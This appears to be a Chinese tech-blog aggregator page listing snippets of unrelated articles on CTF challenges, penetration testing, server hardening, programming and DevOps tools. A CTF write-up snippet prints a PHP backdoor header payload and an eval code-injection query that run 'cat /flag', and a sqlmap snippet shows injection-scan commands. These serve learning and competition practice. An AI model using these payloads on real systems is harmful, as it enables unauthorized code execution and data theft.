文章目錄Web簽到unsetme“慢慢做”管理系統Misc你會日志分析嗎sectrafficWeb簽到http://cn-sec.com/archives/313267.htmlUser-Agentt: zerodiumsystem("cat /flag");unsetme這題先放著/?a=:[]);eval($_GET[1]);//&1=system(%27cat%20/flag%27);“慢慢做”管理系統根據題目提示,這里第一步登錄應該利用一些字串被md5...
2021-04-06 more滲透測驗漏洞型別決議一、漏洞分類(1)按照攻擊物件分類:作業系統:Linux. windows. IOS. Andriod網路設備:路由器 交換機 防火墻 無線網路設備Web:PHP. ASPX. JSP. HTML. JS. 資料庫 …服務類軟體:FTP. SMTP. SSH. POP3. AD. SMB. RDP. 其他自編服務物聯網設備:PLC. RFID. GPS. 基站 列印機 攝像頭 智能探測器(手表)(2)按照攻擊方法分類本地攻擊(緩沖區溢位):本地命令執行(......
2021-04-06 moreA-1任務一登錄安全加固請對服務器Log、Web、Data 按要求進行相應的設定,提高服務器的安全性。1.密碼策略(Log,Web,Data)a. 最小密碼長度不少于8個字符;。管理工具->本地安全策略->賬戶策略->密碼策略,設定密碼長度最小值為8b. 密碼策略必須同時滿足大小寫字母、數字、特殊字符。管理工具->本地安全策略->賬戶策略->密碼策略,啟用密碼必須符合復雜性要求登錄策略(Log,Web,Data)a.在用戶登錄系統時,應該有“For...
2021-04-06 more獨家思維導圖!讓你秒懂編譯原理(四)——第四章 語法分析—自上而下分析本章主要介紹語法分析的處理要進行語法分析,必須對語言的語法結構進行描述。采用正規式和有限自動機可以描述和識別語言的單詞符號;用背景關系無關文法來描述語法規則。注:開始符S至少必須在某個產生式的左部出現一次。產生式集合給出了一個非終結符的定義(→定義為)說明這個非終結符由怎樣的非終結符和終結符構成即只要左邊是非終結符,就能產生任何符(VT∪VN)(V_T∪V_N)(VT?∪VN?)表示終結符和非終結符組成的字...
2021-04-06 more這里寫自定義目錄標題新的改變功能快捷鍵合理的創建標題,有助于目錄的生成如何改變文本的樣式插入鏈接與圖片如何插入一段漂亮的代碼片生成一個適合你的串列創建一個表格設定內容居中、居左、居右SmartyPants創建一個自定義串列如何創建一個注腳注釋也是必不可少的KaTeX數學公式新的甘特圖功能,豐富你的文章UML 圖表FLowchart流程圖匯出與匯入匯出匯入BP神經網路演算法python 底層你好! 這是你第一次使用 Markdown編輯器 所展示的歡迎頁。如果你想學習如何使用Markdown編輯器, 可以仔...
2021-04-06 more文章目錄玩轉json什么是jsonPython中的Json模塊獲取json中的某個資料Jpathnumpy使用ndarray創建陣列的好處numpy基本操作文本資料去重資料采集方式好幾天沒寫啥實在的干貨了,今天見六不廢話了,直接上干貨。玩轉json什么是jsonJson是一種輕量級的資料交換格式,具有資料格式簡單,讀寫方便易懂等很多優點。用它來進行前后端的資料傳輸,大大的簡化了服務器和客戶端的開發作業量。如果說現在對json還沒有什么概念的朋友,了解了以上內容之后,再了解一下它是字典形式的即可....
2021-04-06 more本篇系列文章參照高翔老師《視覺SLAM十四講從理論到實踐》,講解三維空間剛體運動。博文將原第三講分為四部分來講解,其中四元數部分較多較復雜,又分為四部分,總體目錄如下:旋轉矩陣和變換矩陣;旋轉向量表示旋轉;歐拉角表示旋轉;四元數包括以下部分:4-1. 四元數表示變換;4-2. 四元數線性插值方法:LinEuler/LinMat/Lerp/Nlerp/Slerp;4-3. 四元數多點插值方法:Squad;4-4. 四元數多點二次插值方法:Spring。本文相對于原文會適當精簡,同時為便于...
2021-04-06 more如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......
uj5u.com 2020-09-10 02:00:47 more一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......
uj5u.com 2020-09-10 02:00:50 moremetasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......
uj5u.com 2020-09-10 02:00:53 more驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......
uj5u.com 2020-09-10 02:00:56 more北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......
uj5u.com 2020-09-10 02:01:03 more?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......
uj5u.com 2020-09-10 02:04:05 more我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......
uj5u.com 2020-09-10 02:04:18 more我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......
uj5u.com 2020-09-10 02:04:30 more信管通低代碼開發工具包括兩個大部分,一部分是公司內部使用的設計工具,負責業務系統的研發設計,另一部分是終端客戶使用的應用工具,是由公司內部業務系統開發人員使用的設計工具設計好的業務系統在終端客戶的一個交換處理軟體平臺,從而滿足用戶的不同業務要求,終端客戶應用工具又分為單機版和網路版,適應用戶的不同應用環境。信管通低代碼開發工具總體結構圖如圖所示。信管通低代碼快速開發平臺就是公司內部使用的設計系統,信管通綜合協辦公資訊管理系統就是終端用戶使用的業務系統互動資訊處理的平臺,信管通低代碼開發工具設計....
uj5u.com 2021-08-23 09:50:11 more虛擬機linux密碼忘記,通過但用戶模式修改密碼第一步:重新啟動虛擬機,再出現進度條時按e鍵(啟動編輯器),進入到以下界面,再次按下e鍵第二步:進入以下界面后,通過上下鍵選擇第二項,按下e鍵第三步:進入以下界面后,在quiet 后面輸入空格和s,然后按回車確認第四步:進入以下界面后,按b鍵(boot啟動)第五步:進入單用戶模式,輸入passwd root (root表示的是需要重置密碼的用戶名)和新密碼,按回車鍵確認第六步:輸入reboot重啟系統第七步:重新啟動后,使用新密碼登陸...
uj5u.com 2021-08-23 09:10:00 more這里寫自定義目錄標題歡迎使用Markdown編輯器新的改變功能快捷鍵合理的創建標題,有助于目錄的生成如何改變文本的樣式插入鏈接與圖片如何插入一段漂亮的代碼片生成一個適合你的串列創建一個表格設定內容居中、居左、居右SmartyPants創建一個自定義串列如何創建一個注腳注釋也是必不可少的KaTeX數學公式新的甘特圖功能,豐富你的文章UML 圖表FLowchart流程圖匯出與匯入匯出匯入歡迎使用Markdown編輯器你好! 這是你第一次使用 Markdown編輯器 所展示的歡迎頁。如果你想學習如何使用Mar...
uj5u.com 2021-08-23 09:09:45 more1、運行時資料區域JVM虛擬機在執行Java程式時,會把它所管理的記憶體劃分為若干個不同的記憶體區域,如下圖所示。這些區域有著各自的用途,它們的生命周期也各不相同。其中,方法區和堆的生命周期與JVM虛擬機相同,隨著虛擬機行程的啟動而存在,因此,它們也是所有Java執行緒共享的資料區域;而虛擬機堆疊、本地方法堆疊和程式計數器,它們的生命周期與用戶執行緒相互依賴,隨著用戶執行緒的啟動和結束而對應地創建和銷毀,因此,它們也是執行緒私有的資料區域,也就是每個執行緒都有各自的虛擬機堆疊、本地方法堆疊和程式計數器。各...
uj5u.com 2021-08-23 09:09:31 morewindows安裝和使用nginx1、下載官網下載【nginx/Windows-1.20.1】下載成功后解壓,檔案如下:2、啟動nginx方式一:直接雙擊nginx.exe方式二:打開cmd命令視窗,切換到nginx解壓目錄下,輸入命令 nginx.exe 或者 start nginx ,回車即可驗證是否啟動成功:在瀏覽器輸入 http://localhost,看到以下界面則說明啟動成功:通過cmd查看nginx運行情況:打開cmd,執行:tasklist /fi "image...
uj5u.com 2021-08-23 09:09:08 more一.簡介1.什么是ansible? ansible的官方標題為:"Ansible is Simple IT Automation",也就是說ansible是一種簡單的自動化IT工具. 工具目標:1.自動化部署APP 2.自動化管理配置項 3.自動化的持續交付 4.自動化的云服務管理2.ansible特性 模塊化:呼叫特定的模塊,完成特定的任務 Paramiko (Python對ssh的實作),PyYaml,Jinja2(模板語言)三個關鍵模塊......
uj5u.com 2021-08-23 09:08:40 more文章目錄:1.容器資料卷是什么?2.容器資料卷能干嘛?3.容器內添加資料卷3.1 直接使用命令添加3.2 使用DockerFile添加4.資料卷容器1.容器資料卷是什么?先來看看Docker的理念:* 將運用與運行的環境打包形成容器運行 ,運行可以伴隨著容器,但是我們對資料的要求希望是持久化的。* 容器之間希望有可能共享資料。Docker容器產生的資料,如果不通過docker commit生成新的鏡像,使得資料做為鏡像的一部分保存下來,那么當容器洗掉后,資料自.....
uj5u.com 2021-08-23 09:08:04 more實驗步驟一根據實驗環境,本實驗的步驟如下:1、測驗環境中獲取DNS資料包。2、分析DNS資料包。任務描述:獲取兩種型別的DNS資料包(1)通過瀏覽器訪問域名(www.baidu.com)來獲取DNS資料雖然合天實驗室環境下,無法抓取此部分資料包(其實也可以自己搭建服務器,配置DNS服務器,但設計者比較懶,就將就下吧),但設計者希望學習的人能根據例子在自己的筆記本上抓取,然后分析。我們以登錄www.baidu.com來獲取DNS資料,啟動Wireshark,在Filter中輸入dns。打開瀏覽器...
uj5u.com 2021-08-23 09:07:06 more